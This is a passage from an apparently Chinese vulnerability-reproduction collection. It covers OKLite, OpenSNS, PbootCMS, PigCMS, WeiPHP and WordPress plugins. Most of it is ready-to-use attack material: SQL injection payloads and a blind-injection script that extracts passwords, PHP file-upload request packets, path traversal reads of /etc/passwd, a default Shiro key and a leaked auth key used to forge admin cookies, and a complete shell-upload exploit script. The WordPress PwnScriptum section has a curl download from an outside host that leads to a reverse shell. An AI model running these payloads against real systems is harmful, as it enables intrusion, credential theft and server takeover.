$this->json(P_Lang('附件不存在'));
}
if($rs['ext'] != 'zip'){
$this->json(P_Lang('非ZIP文件不支持在线解压'));
}
if(!file_exists($this->dir_root.$rs['filename'])){
$this->json(P_Lang('文件不存在'));
}
$info = $this->lib('phpzip')->zip_info($this->dir_root.$rs['filename']);
$info = current($info);
if(!$info['filename']){
$this->json(P_Lang('插件有异常'));
}
$info = explode('/',$info['filename']);
if(!$info[0]){
$this->json(P_Lang('插件有异常'));
}
if(file_exists($this->dir_root.'plugins/'.$info[0])){
$this->json(P_Lang('插件已存在,不允许重复解压'));
}
if(!$info[1]){
$this->json(P_Lang('插件打包模式有问题'));
}
$this->lib('phpzip')->unzip($this->dir_root.$rs['filename'],$this->dir_root.'plugins/');
$this->json(true);
}
这里可以看到需要上传ZIP压缩包格式的插件,跟进zip_info
函数
函数位置 framework/libs/phpzip.php
这里会返回关于ZIP压缩包的一些信息
往下看关键位置
$info = explode('/',$info['filename']);
if(!$info[0]){
$this->json(P_Lang('插件有异常'));
}
if(file_exists($this->dir_root.'plugins/'.$info[0])){
$this->json(P_Lang('插件已存在,不允许重复解压'));
}
if(!$info[1]){
$this->json(P_Lang('插件打包模式有问题'));
}
$this->lib('phpzip')->unzip($this->dir_root.$rs['filename'],$this->dir_root.'plugins/');
$this->json(true);
这里用 explode函数以 /
分隔返回两个值,也就是说格式应为 AAA/BBB
这样的目录格式,直接上传ZIP文件则会报错 插件打包模式有问题
在这里上传一个ZIP文件,格式要是解压出来为目录,目录中含PHP文件就行了
$this->lib('phpzip')->unzip($this->dir_root.$rs['filename'],$this->dir_root.'plugins/');
$this->json(true);
最后两行告诉了文件解压的位置,上传的文件在 plugins目录下
OKLite 1.2.25 后台风格模块 任意文件删除 CVE-2019-16132
漏洞描述
OKLite 1.2.25 后台风格模块存在 对危险字符未过滤,导致可以删除任意目录和文件
漏洞影响
漏洞复现
出现漏洞的函数在文件 framework/admin/tpl_control.php
中的 delfile_f()
函数
这里删除文件主要调用了 rm函数
, 位置在 framework/libs/file.php
/**
* 删除操作,请一定要小心,在程序中最好严格一些,不然有可能将整个目录删掉
* @参数 $del 要删除的文件或文件夹
* @参数 $type 仅支持file和folder,为file时仅删除$del文件,如果$del为文件夹,表示删除其下面的文件。为folder时,表示删除$del这个文件,如果为文件夹,表示删除此文件夹及子项
* @返回 true/false
**/
public function rm($del,$type="file")
{
if(!file_exists($del)){
return false;
}
if(is_file($del)){
unlink($del);
return true;
}
$array = $this->_dir_list($del);
if(!$array){
if($type == 'folder'){
rmdir($del);
}
return true;
}
foreach($array as $key=>$value){
if(file_exists($value)){
if(is_dir($value)){
$this->rm($value,$type);
}else{
unlink($value);
}
}
}
if($type == "folder"){
rmdir($del);
}
return true;
}
这里对传入的参数遍历,获得的文件名或文件夹进行删除
回过头看 调用get函数传入参数时是否有对 ../
的过滤
可以看到参数我们是可控的,使用这里的漏洞进行任意文件删除
抓包修改成功删除文件
OKLite 1.2.25 后台模块导入 任意文件上传 CVE-2019-16131
漏洞描述
OKLite v1.2.25 后台模块导入过滤不完善导致可以上传恶意木马文件
漏洞影响
漏洞复现
首先要先清楚它的执行流程
查看文件 framework/init.php
在往下面看可以看到执行函数的逻辑
例如 http://127.0.0.1/admin.php?c=ABC&f=EFG
则是调用 framework\admin\ABC_control.php
中的EFG_f
方法
看到在后台有一个 ZIP 文件上传的函数,找一下上传ZIP文件的位置
模块管理 --> 模块导入
回头看下函数方法的调用
public function zipfile($input,$folder='')
{
if(!$input){
return array('status'=>'error','content'=>P_Lang('未指定表单名称'));
}
//如果未指定存储文件夹,则使用
if(!$folder){
$folder = 'data/cache/';
}
$this->cateid = 0;
$this->set_dir($folder);
$this->set_type('zip');
$this->cate = array('id'=>0,'filemax'=>104857600,'root'=>$folder,'folder'=>'/','filetypes'=>'zip');
if(isset($_FILES[$input])){
$rs = $this->_upload($input);
}else{
$rs = $this->_save($input);
}
if($rs['status'] != 'ok'){
return $rs;
}
$rs['cate'] = $this->cate;
return $rs;
}
这里的 上传目录默认为 data/cache
这个目录,并调用了两个方法 upload和save
可以看到这里其实对上传的zip并没有对里面的文件有什么过滤,任意上传一个ZIP文件抓包
test.php
文件内容 如下,打包为 test.zip
上传
<?php phpinfo();?>
可以看到这里调用的方法是 upload_control中的 zip 方法
这里放包后发现调用了另一个方法,跟踪下代码 framework/admin/module_control.php 中的 import_f方法
这里的方法为解压方法,说明ZIP文件上传的逻辑为
模块上传 --> ZIP文件写入 data/cache --> 解压刚刚的ZIP文件到 data/cache 目录
所以这里的流程完全是没有过滤危险文件的,将一个木马文件打包为ZIP文件上传访问即可
若有收获,就点个赞吧
OneBlog
OneBlog Shiro默认密钥 远程命令执行漏洞
漏洞描述
OneBlog 小于v2.2.1 由于使用含有漏洞版本的Apache Shiro和默认的密钥导致存在远程命令执行漏洞
漏洞影响
网络测绘
漏洞复现
登陆页面如下
使用工具直接利用Apache Shiro漏洞即可
OpenSNS
OpenSNS Application ShareController.class.php 远程命令执行漏洞
漏洞描述
OpenSNS 存在远程命令执行漏洞,攻击者通过漏洞发送特定的请求包可以执行任意命令
漏洞影响
网络测绘
漏洞复现
登录页面如下
存在漏洞的文件 Application/Weibo/Controller/ShareController.class.php
发送Payload
/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(ver)
OpenSNS AuthorizeController.class.php 后台远程命令执行漏洞
漏洞描述
OpenSNS AuthorizeController.class.php文件 ssoCallback() 函数存在命令执行漏洞,在登录的情况下可以获取服务器权限
漏洞影响
网络测绘
漏洞复现
登录页面如下
存在漏洞的文件为 Application/Admin/Controller/AuthorizeController.class.php
其中 config参数可控,构造请求就可以通过 file_put_contents 写入执行任意命令
构造请求包
POST /admin.php?s=/Authorize/ssoCallback\
config[SSO_CONFIG]=phpinfo();
OpenSNS ChinaCityController.class.php SQL注入漏洞
漏洞描述
OpenSNS ChinaCityController.class.php文件中,可通过拼接SQL语句执行任意SQL命令,获取用户账号密码
漏洞影响
网络测绘
漏洞复现
登录页面如下
存在漏洞的文件为Addons/ChinaCity/Controller/ChinaCityController.class.php
其中用户可控参数为 cid 和 pid, 通过调试查看SQL语句
通过构造请求闭合SQL语句,造成SQL注入
POST /index.php?s=/home/addons/_addons/china_city/_controller/china_city/_action/getcity.html
cid=0&pid[0]==(select*from(select+sleep(3)union/**/select+1)a)and+1+in+&pid[1]=1
通过二分法延时注入可以获取用户账号密码,登录后台
import time
import requests
url = "http://peiqi.com:8888/index.php?s=/home/addons/_addons/china_city/_controller/china_city/_action/getcity.html"
flag = ""
for i in range(1,100):
low = 32
high = 128
while low < high:
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"X-Requested-With": "XMLHttpRequest"
}
mid = (low + high)//2
data = "cid=0&pid[0]==(select*from(select+if(ascii(substr((select/**/password/**/from/**/ocenter_ucenter_member),{},1))<{},sleep(2),1)union/**/select+1)a)and+3+in+&pid[1]=3".format(i,mid)
timeStart = time.time()
r = requests.post(url=url, data=data, headers=headers)
timeEnd = time.time()
# print(r.text, low, high, data,timeStart-timeEnd)
if timeEnd - timeStart >= 1:
high = mid
else:
low = mid + 1
if low == high == 32:
print("No result")
break
flag += chr((high + low - 1)//2)
print(flag)
OpenSNS CurlModel.class.php SSRF漏洞
漏洞描述
OpenSNS CurlModel.class.php文件中curl方法存在SSRF漏洞,通过漏洞攻击者可以探测内网信息
漏洞影响
网络测绘
漏洞复现
登录页面如下
存在漏洞的文件为 Application/Admin/Model/CurlModel.class.php
构造POC
/?s=weibo/share/shareBox&query=app=Admin%26model=Curl%26method=curl%26id=http://92aq2z.dnslog.cn
OpenSNS ThemeController.class.php 后台任意文件上传漏洞
漏洞描述
OpenSNS ThemeController.class.php文件中存在文件上传载,其中过滤不足导致可以上传至服务器任意文件
漏洞影响
网络测绘
漏洞复现
登录页面如下
登录后的上传页面/admin.php?s=/theme/add.html
存在漏洞的文件为 Application/Admin/Model/ThemeController.class.php
其中只需要文件后缀为 zip和rar 就会成功上传并解压至当前的 Theme目录中
OpenSNS ThemeController.class.php 后台任意文件下载漏洞
漏洞描述
OpenSNS ThemeController.class.php文件中存在文件下载,其中过滤不足导致可以下载服务器任意文件
漏洞影响
网络测绘
漏洞复现
登录页面如下
存在漏洞的文件为 Application/Admin/Model/ThemeController.class.php
其中 theme参数为用户可控参数,根据函数流程可以发现存在的文件将会打包为 zip文件提供下载
构造请求
POST /admin.php?s=/theme/packageDownload
theme=../Conf/common.php
PbootCMS
PbootCMS domain SQL注入漏洞
漏洞描述
PbootCMS 搜索模块存在SQL注入漏洞。通过漏洞可获取数据库敏感信息
漏洞影响
网络测绘
漏洞复现
本地搭建好最新版本,访问首页
我们需要访问一个存在的页面
url中13后加个单引号 ‘
若为执行sql报错相关,则漏洞存在
若显示下图
则漏洞无法利用
程序默认搭建为sqlite3数据库, Fuzz当前数据库表单payload
')%0aand%0a(SELECT%0acount(tbl_name)%0aFROM%0asqlite_master%0aWHERE%0atype%3d'ta ble'%0aand%0atbl_name%0aNOT%0alike%0a'sqlite_%')<40--
通过此payload进行盲注Fuzz数据库中表单总数是否小于40
查询为真返回正常,假则报错
由此我们可以准确推断出表单总数
计算sqlite数据库中第一个表名长度,我们可以使用如下payload:
')%0aand%0a(SELECT%0alength(tbl_name)%0aFROM%0asqlite_master%0aWHERE%0atype%3d't able'%0aand%0atbl_name%0aNOT%0alike%0a'sqlite_%'%0alimit%0a1%0aoffset%0a0)<8--
猜解第一个表名称,我们可以使用如下payload:
')%0aand%0a(SELECT%0asubstr(tbl_name,1,1)%0aFROM%0asqlite_master%0aWHERE%0atype% 3d'table'%0aand%0atbl_name%0aNOT%0alike%0a'sqlite_%'%0alimit%0a1%0aoffset%0a0)%3d'a'--
这样可以得到数据库第一个表的第一位数值为字符串”a”
通过substr()函数,我们可以很轻松的得到表名称.
同理可获取其他数据
在Mysql下的利用方式
猜解当前数据库名称 可以使用如下payload进行Fuzz:
')%0aand%0a(select%0asubstr(database(),1,1)%3d'p')%23
查询为真时页面将返回正常.
使用Burpsuite可以爆破出数据库名称,其他表名字段名等方法相同
PbootCMS ext_price SQL注入漏洞
漏洞描述
PbootCMS 存在SQL注入漏洞。通过漏洞可获取数据库敏感信息
漏洞影响
网络测绘
漏洞复现
主页
测试 Payload
/index.php/Index?ext_price%3D1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,user(),0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=123](http://127.0.0.1/PbootCMS/index.php/Index?ext_price%3D1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,user(),0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=123)
PbootCMS search SQL注入漏洞
漏洞描述
PbootCMS 搜索模块存在SQL注入漏洞。通过漏洞可获取数据库敏感信息
漏洞影响
网络测绘
漏洞复现
搜索框页面为
Payload为
/index.php/Search/index?keyword=123&updatexml(1,concat(0x7e,user(),0x7e),1));%23=123](http://127.0.0.1/PbootCMS/index.php/Search/index?keyword=123&updatexml(1,concat(0x7e,user(),0x7e),1));%23=123)
Pd-CMS
Pd-CMS Shiro默认密钥 远程命令执行漏洞
漏洞描述
Pd-CMS存在Shiro默认密钥,攻击者通过已知的密钥将会造成Shiro远程命令执行漏洞
漏洞影响
网络测绘
漏洞复现
主页面
默认密钥
3AvVhmFLUs0KTA3Kprsdag==
PigCMS action_flashUpload 任意文件上传漏洞
漏洞描述
PigCMS action_flashUpload 方法中存在任意文件上传漏洞,攻击者通过漏洞可以上传任意文件获取到服务器权限
漏洞影响
网络测绘
漏洞复现
登陆页面
验证POC
POST /cms/manage/admin.php?m=manage&c=background&a=action_flashUpload HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----aaa
------aaa
Content-Disposition: form-data; name="filePath"; filename="test.php"
Content-Type: video/x-flv
<?php phpinfo();?>
------aaa
/cms/upload/images/2023/08/11/1691722887xXbx.php
WeiPHP
WeiPHP3.0 session_id 任意文件上传漏洞
漏洞描述
WeiPHP3.0 session_id 存在任意文件上传漏洞,攻击者通过漏洞可以上传任意文件
漏洞影响
网络测绘
漏洞复现
登陆页面标识
发送请求包上传文件
POST /index.php?s=%2FHome%2FFile%2Fupload%2Fsession_id%2Fscevs8hub3m5ogla05a421hb42.html HTTP/1.1
Host:
User-Agent: Go-http-client/1.1
Content-Length: 831
Content-Type: multipart/form-data; boundary=------------------------e37a54d7d5380c9f
Accept-Encoding: gzip
--------------------------e37a54d7d5380c9f
Content-Disposition: form-data; name="download"; filename="882176.php"
Content-Type: application/octet-stream
<?php
phpinfo();
--------------------------e37a54d7d5380c9f--
获取目录后访问回显的 path
WeiPHP5.0 bind_follow SQL注入漏洞
漏洞描述
Weiphp5.0 所有使用了 wp_where() 函数并且参数可控的SQL查询均受到影响,前台后台均存在注入。
漏洞影响
网络测绘
漏洞复现
登陆页面
验证POC
/public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)%20and%20updatexml(1,concat(0x7e,md5(%271%27),0x7e),1)--+
WeiPHP5.0 download_imgage 前台文件任意读取 CNVD-2020-68596
漏洞描述
Weiphp5.0 存在前台文件任意读取漏洞,可以读取数据库配置等敏感文件
影响版本
环境搭建
参考官方手册创建网站即可
网络测绘
漏洞复现
漏洞函数文件:application\material\controller\Material.php
漏洞函数:_download_imgage
public function _download_imgage($media_id, $picUrl = '', $dd = null)
{
$savePath = SITE_PATH . '/public/uploads/picture/' . time_format(NOW_TIME, 'Y-m-d');
mkdirs($savePath);
$cover_id = 0;
if (empty($picUrl)) {
// 获取图片URL
$url = 'https://api.weixin.qq.com/cgi-bin/material/get_material?access_token=' . get_access_token();
$param['media_id'] = $media_id;
// dump($url);
$picContent = post_data($url, $param, 'json', false);
$picjson = json_decode($picContent, true);
// dump($picjson);die;
if (isset($picjson['errcode']) && $picjson['errcode'] != 0) {
$cover_id = do_down_image($media_id, $dd['thumb_url']);
if (!$cover_id) {
return 0;
exit();
}
}
$picName = NOW_TIME . uniqid() . '.jpg';
$picPath = $savePath . '/' . $picName;
$res = file_put_contents($picPath, $picContent);
} else {
$content = wp_file_get_contents($picUrl);
// 获取图片扩展名
$picExt = substr($picUrl, strrpos($picUrl, '=') + 1);
if (empty($picExt) || $picExt == 'jpeg' || strpos('jpg,gif,png,jpeg,bmp', $picExt) === false) {
$picExt = 'jpg';
}
$picName = NOW_TIME . uniqid() . '.' . $picExt;
$picPath = $savePath . '/' . $picName;
$res = file_put_contents($picPath, $content);
if (!$res) {
$cover_id = do_down_image($media_id);
if (!$cover_id) {
return 0;
exit();
}
}
}
if ($res) {
$file = array(
'name' => $picName,
'type' => 'application/octet-stream',
'tmp_name' => $picPath,
'size' => $res,
'error' => 0
);
$File = D('home/Picture');
$cover_id = $File->addFile($file);
}
return $cover_id;
}
首先注意到函数的标识为public
,也就是这个函数是公共调用的,并且变量picUrl
为可控变量
根据代码从上向下分析
$savePath = SITE_PATH . '/public/uploads/picture/' . time_format(NOW_TIME, 'Y-m-d');
else {
$content = wp_file_get_contents($picUrl);
// 获取图片扩展名
$picExt = substr($picUrl, strrpos($picUrl, '=') + 1);
if (empty($picExt) || $picExt == 'jpeg' || strpos('jpg,gif,png,jpeg,bmp', $picExt) === false) {
$picExt = 'jpg';
}
$picName = NOW_TIME . uniqid() . '.' . $picExt;
$picPath = $savePath . '/' . $picName;
$res = file_put_contents($picPath, $content);
if (!$res) {
$cover_id = do_down_image($media_id);
if (!$cover_id) {
return 0;
exit();
}
}
分析传入变量 picUrl
的 wp_file_get_contents
方法
$content = wp_file_get_contents($picUrl);
函数文件位置 application\common.php
可以看到这里没有对我们的参数进行过滤,只做了一个有关超时的操作, 回到函数继续向下分析
$picExt = substr($picUrl, strrpos($picUrl, '=') + 1);
if (empty($picExt) || $picExt == 'jpeg' || strpos('jpg,gif,png,jpeg,bmp', $picExt) === false) {
$picExt = 'jpg';
}
$picName = NOW_TIME . uniqid() . '.' . $picExt;
$picPath = $savePath . '/' . $picName;
$res = file_put_contents($picPath, $content);
这里创建了有关当前时间的图片文件,并写入文件夹/public/uploads/picture/
下
我们先尝试控制变量 $picUrl
来写入数据库配置文件到图片中
/public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php
查看目录/public/uploads/picture/
,并用记事本打开写入的jpg文件
得到数据库配置文件的信息,既然这个变量可控,我们也可以通过这个方法下载木马文件,再通过解析漏洞或者文件包含等其他漏洞来getshell
在当前条件下并不知道文件名是什么,所以回到代码中继续寻找可以获取文件名的办法
if ($res) {
$file = array(
'name' => $picName,
'type' => 'application/octet-stream',
'tmp_name' => $picPath,
'size' => $res,
'error' => 0
);
$File = D('home/Picture');
$cover_id = $File->addFile($file);
}
向下跟进 addFile
函数
函数位置:application\home\model\Picture.php
function addFile($file)
{
$data['md5'] = md5_file($file['tmp_name']);
$id = $this->where('md5', $data['md5'])->value('id');
if ($id > 0) {
return $id;
}
$info = pathinfo($file['tmp_name']);
$data['path'] = str_replace(SITE_PATH . '/public', '', $file['tmp_name']);
$data['sha1'] = hash_file('sha1', $file['tmp_name']);
$data['create_time'] = NOW_TIME;
$data['status'] = 1;
$data['wpid'] = get_wpid();
$id = $this->insertGetId($data);
return $id;
}
可以看到这部分代码写入了 Picture 表中
$id = $this->insertGetId($data);
我们查看一下数据库的这个数据表,可以发现之前所上传的数据全部缓存在这个表里了
我们现在则需要找到不需要登录的地方来获得这些数据,所以可以全局去查找调用了这个 Picture 表的地方
找到一处可以利用的地方
function user_pics()
{
$map['wpid'] = get_wpid();
$picList = M('Picture')->where(wp_where($map))
->order('id desc')
->select();
$this->assign('picList', $picList);
exit($this->fetch());
}
跟进 get_wpid
函数
function get_wpid($wpid = '')
{
if (defined('WPID')) {
return WPID;
} else {
return 0;
}
}
查看 WPID 的定义,文件位置在config\weiphp_define.php
定义值默认为 1,所以这里调用则可以获得数据库中Pictrue表的内容,间接的知道了文件内容以及文件名
访问地址: http://webphp/public/index.php/home/file/user_pids
可以看到文件名,根据url地址访问选择下载即可
WeiPHP5.0 任意用户Cookie伪造 CNVD-2021-09693
漏洞描述
Weiphp5.0 存在管理员用户Cookie伪造,通过泄露的密钥数据,可利用加密方法来得到管理员的Cookie
影响版本
环境搭建
参考官方手册创建网站即可
网络测绘
漏洞复现
首先需要得到数据库配置文件中的 data_auth_key
密钥
得到这个配置文件可参照上一篇 Weiphp5.0 前台文件任意读取
'data_auth_key' => '+0SeoAC#YR,Jm&c?[PhUg9u;:Drd8Fj4q|XOkx*T'
全局查找下使用了这个密钥的地方
找到了跟据这个密钥的加密方法和解密方法
加密方法 think_encrypt
function think_encrypt($data, $key = '', $expire = 0)
{
$key = md5(empty($key) ? config('database.data_auth_key') : $key);
$data = base64_encode($data);
$x = 0;
$len = strlen($data);
$l = strlen($key);
$char = '';
for ($i = 0; $i < $len; $i++) {
if ($x == $l) {
$x = 0;
}
$char .= substr($key, $x, 1);
$x++;
}
$str = sprintf('%010d', $expire ? $expire + time() : 0);
for ($i = 0; $i < $len; $i++) {
$str .= chr(ord(substr($data, $i, 1)) + (ord(substr($char, $i, 1))) % 256);
}
return str_replace(array(
'+',
'/',
'='
), array(
'-',
'_',
''
), base64_encode($str));
}
`解密方法 think_decrypt
function think_decrypt($data, $key = '')
{
$key = md5(empty($key) ? config('database.data_auth_key') : $key);
$data = str_replace(array(
'-',
'_'
), array(
'+',
'/'
), $data);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$data = base64_decode($data);
$expire = substr($data, 0, 10);
$data = substr($data, 10);
if ($expire > 0 && $expire < time()) {
return '';
}
$x = 0;
$len = strlen($data);
$l = strlen($key);
$char = $str = '';
for ($i = 0; $i < $len; $i++) {
if ($x == $l) {
$x = 0;
}
$char .= substr($key, $x, 1);
$x++;
}
for ($i = 0; $i < $len; $i++) {
if (ord(substr($data, $i, 1)) < ord(substr($char, $i, 1))) {
$str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));
} else {
$str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));
}
}
return base64_decode($str);
}
全局查看下使用了解密方法的地方
在文件 application\common.php
中含有使用解密方法的代码,用于做身份验证
function is_login()
{
$user = session('user_auth');
if (empty($user)) {
$cookie_uid = cookie('user_id');
if (!empty($cookie_uid)) {
$uid = think_decrypt($cookie_uid);
$userinfo = getUserInfo($uid);
D('common/User')->autoLogin($userinfo);
$user = session('user_auth');
}
}
if (empty($user)) {
return 0;
} else {
return session('user_auth_sign') == data_auth_sign($user) ? $user['uid'] : 0;
}
}
根据这里得到的代码,可以知道当user_Id=1
时,会解密密钥后判断是否正确,如果正确则可以登录系统
我们在本地使用加密代码加密user_id=1
得到的cookie则可以登录系统
<?php
show_source(__FILE__);
function think_encrypt($data, $key = '', $expire = 0)
{
$key = '+0SeoAC#YR,Jm&c?[PhUg9u;:Drd8Fj4q|XOkx*T';
$key = md5($key);
$data = base64_encode($data);
$x = 0;
$len = strlen($data);
$l = strlen($key);
$char = '';
for ($i = 0; $i < $len; $i++) {
if ($x == $l) {
$x = 0;
}
$char .= substr($key, $x, 1);
$x++;
}
$str = sprintf('%010d', $expire ? $expire + time() : 0);
for ($i = 0; $i < $len; $i++) {
$str .= chr(ord(substr($data, $i, 1)) + (ord(substr($char, $i, 1))) % 256);
}
return str_replace(array(
'+',
'/',
'='
), array(
'-',
'_',
''
), base64_encode($str));
}
echo 'user_id = ' . think_encrypt($_GET['user_id']);
?>
添加cookie: user_id=xxxxxxxx
即可成功登录
wordpress
pwnscriptum
Wordpress 4.6 任意命令执行漏洞(PwnScriptum)
原理
参考 https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
测试环境
编译及运行测试环境
docker compose build
docker compose up -d
由于Mysql初始化需要一段时间,所以请等待。成功运行后,访问http://your-ip:8080/
打开站点,初始化管理员用户名和密码后即可使用(数据库等已经配置好,且不会自动更新)。
测试与EXP使用
发送如下数据包,可见/tmp/success
已经成功创建:
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin
但实际利用起来,还是有一些坑需要踏过。具体的坑有这么几个:
- 执行的命令不能包含大量特殊字符,如
:
、引号等。 - 命令会被转换成小写字母
- 命令需要使用绝对路径
- 需要知道某一个存在的用户的用户名
为了解决这些坑,漏洞作者想出了,利用${substr{0}{1}{$spool_directory}}
代替/
,用${substr{10}{1}{$tod_log}}
代替空格的方法。
但是还是有很多字符不能用,所以我们需要将待执行的命令放到第三方网站中,然后通过curl -o /tmp/rce example.com/shell.sh
的方法先将他下载到/tmp目录中,再去执行。
所以,总体来说利用过程如下:
- 编写反弹shell的exp,放到某个网页里。有如下要求:
- 整个url的大写字母会被转换成小写,所以大写小敏感的系统不要使用大写字母做文件路径
- 访问该网页不能跳转,因为follow跳转的参数是
-L
(大写)
- 拼接成命令
/usr/bin/curl -o/tmp/rce example.com/shell.sh
和命令/bin/bash /tmp/rce
- 将上述命令中的空格和
/
转换成${substr{10}{1}{$tod_log}}
和${substr{0}{1}{$spool_directory}}
- 拼接成HTTP包的Host头:
target(any -froot@localhost -be ${run{command}} null)
- 依次发送这两个拼接好的数据包
我将上述过程写成exp脚本,将脚本中target修改成你的目标,user修改成一个已经存在的用户,shell_url
修改成你放置payload的网址。(或直接将target作为第一个参数、shell_url
作为第二个参数)
执行即可获得shell:
WordPress 3DPrint Lite 3dprint-lite-functions.php 任意文件上传漏洞
漏洞描述
WordPress 3DPrint Lite Version 1.9.1.4 版本 中的 3dprint-lite-functions.php 文件存在文件上传漏洞,攻击者通过构造请求包可以上传任意文件获取服务器权限
漏洞影响
插件名
漏洞复现
首先看一下插件注册的接口
if ( is_admin() ) {
add_action( 'admin_enqueue_scripts', 'p3dlite_enqueue_scripts_backend' );
add_action( 'wp_ajax_p3dlite_handle_upload', 'p3dlite_handle_upload' );
add_action( 'wp_ajax_nopriv_p3dlite_handle_upload', 'p3dlite_handle_upload' );
include 'includes/3dprint-lite-admin.php';
}
else {
add_action( 'wp_enqueue_scripts', 'p3dlite_enqueue_scripts_frontend' );
include 'includes/3dprint-lite-frontend.php';
}
跟踪 p3dlite_handle_upload 方法 wp-content/plugins/3dprint-lite/includes/3dprint-lite-functions.php
向下看可以看到一个标准的文件上传代码
通过调试可以找到上传路径 /wp-content/uploads/p3d/
未授权调用 p3dlite_handle_upload 上传文件
# Exploit Title: Wordpress Plugin 3DPrint Lite 1.9.1.4 - Arbitrary File Upload
# Google Dork: inurl:/wp-content/plugins/3dprint-lite/
# Date: 22/09/2021
# Exploit Author: spacehen
# Vendor Homepage: https://wordpress.org/plugins/3dprint-lite/
# Version: <= 1.9.1.4
# Tested on: Ubuntu 20.04.1
import os.path
from os import path
import json
import requests;
import sys
def print_banner():
print("3DPrint Lite <= 1.9.1.4 - Arbitrary File Upload")
print("Author -> spacehen (www.github.com/spacehen)")
def print_usage():
print("Usage: python3 exploit.py [target url] [php file]")
print("Ex: python3 exploit.py https://example.com ./shell.php")
def vuln_check(uri):
response = requests.get(uri)
raw = response.text
if ("jsonrpc" in raw):
return True;
else:
return False;
def main():
print_banner()
if(len(sys.argv) != 3):
print_usage();
sys.exit(1);
base = sys.argv[1]
file_path = sys.argv[2]
ajax_action = 'p3dlite_handle_upload'
admin = '/wp-admin/admin-ajax.php';
uri = base + admin + '?action=' + ajax_action ;
check = vuln_check(uri);
if(check == False):
print("(*) Target not vulnerable!");
sys.exit(1)
if( path.isfile(file_path) == False):
print("(*) Invalid file!")
sys.exit(1)
files = {'file' : open(file_path)}
print("Uploading Shell...");
response = requests.post(uri, files=files)
file_name = path.basename(file_path)
if(file_name in response.text):
print("Shell Uploaded!")
if(base[-1] != '/'):
base += '/'
print(base + "wp-content/uploads/p3d/" + file_name);
else:
print("Shell Upload Failed")
sys.exit(1)
main();
WordPress All-in-One Video Gallery video.php 任意文件读取漏洞 CVE-2022-2633
漏洞描述
WordPress All-in-One Video 插件 Gallery video.php文件中存在SSRF以及任意文件读取漏洞,攻击者通过发送特定的请求包读取任意文件
漏洞影响
插件名
漏洞复现
对比漏洞修复的文件找到出现漏洞的文件 wp-content/plugins/all-in-one-video-gallery/public/video.php
这里接收 dl 参数,dl 参数不为 数字类型时,参数将 base64 解码传入
if ( is_numeric( $_GET['dl'] ) ) {
$file = get_post_meta( (int) $_GET['dl'], 'mp4', true );
} else {
$file = base64_decode( $_GET['dl'] );
}
if ( empty( $file ) ) {
die( esc_html__( 'Download file URL is empty.', 'all-in-one-video-gallery' ) );
exit;
}
当传入的参数中不存在 http:// 或 https:// 时,参数 $formatted_path 的值改变
当 $formatted_path 为 url 时存在 SSRF漏洞,传入 base64编码 的目标URL就可以得到回显
/index.php/video/?dl=aHR0cHM6Ly93d3cuYmFpZHUuY29t
看向代码最后的片段,则存在任意文件读取漏洞
/index.php/video/?dl=Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
WordPress Duplicator duplicator.php 任意文件读取漏洞 CVE-2020-11738
漏洞描述
WordPress Duplicator插件由于对文件下载没有进行验证,则导致了任意文件读取漏洞
漏洞影响
插件名
漏洞复现
首先先查看注册的无需授权的action接口 wp-content/plugins/duplicator/ctrls/class.web.services.php
这里 wp_ajax_nopriv_duplicator_download
对应的函数名为 duplicator_download
public static function duplicator_download() {
$file = sanitize_text_field($_GET['file']);
$filepath = DUPLICATOR_SSDIR_PATH.'/'.$file;
// Process download
if(file_exists($filepath)) {
// Clean output buffer
if (ob_get_level() !== 0 && @ob_end_clean() === FALSE) {
@ob_clean();
}
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filepath));
flush(); // Flush system output buffer
try {
$fp = @fopen($filepath, 'r');
if (false === $fp) {
throw new Exception('Fail to open the file '.$filepath);
}
while (!feof($fp) && ($data = fread($fp, DUPLICATOR_BUFFER_READ_WRITE_SIZE)) !== FALSE) {
echo $data;
}
@fclose($fp);
} catch (Exception $e) {
readfile($filepath);
}
exit;
} else {
wp_die('Invalid installer file name!!');
}
}
可以看到这里接受参数 file,拼接至 $filepath 中,通过调试可以得知
DUPLICATOR_SSDIR_PATH 为 wp-snapshots 目录,file可控且没有过滤,导致任意文件读取
/wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../etc/passwd
WordPress Redux Framework class-redux-helpers.php 敏感信息泄漏漏洞 CVE-2021-38314
漏洞描述
2021年8月爆出Redux Framework存在未授权的敏感信息泄露漏洞,CVE编号为CVE-2021-38314,影响v4.2.11及以下版本,发送特定的请求包可以在未授权的情况下获取服务器敏感信息
漏洞影响
插件名
漏洞复现
影响范围为 v4.211 以下, 看一下版本间的更新差异
这里将 add_action 注册的函数都删除掉了,本地安装查看函数相关代码
$support_hash = md5( md5( Redux_Functions_Ex::hash_key() . '-redux' ) . '-support' );
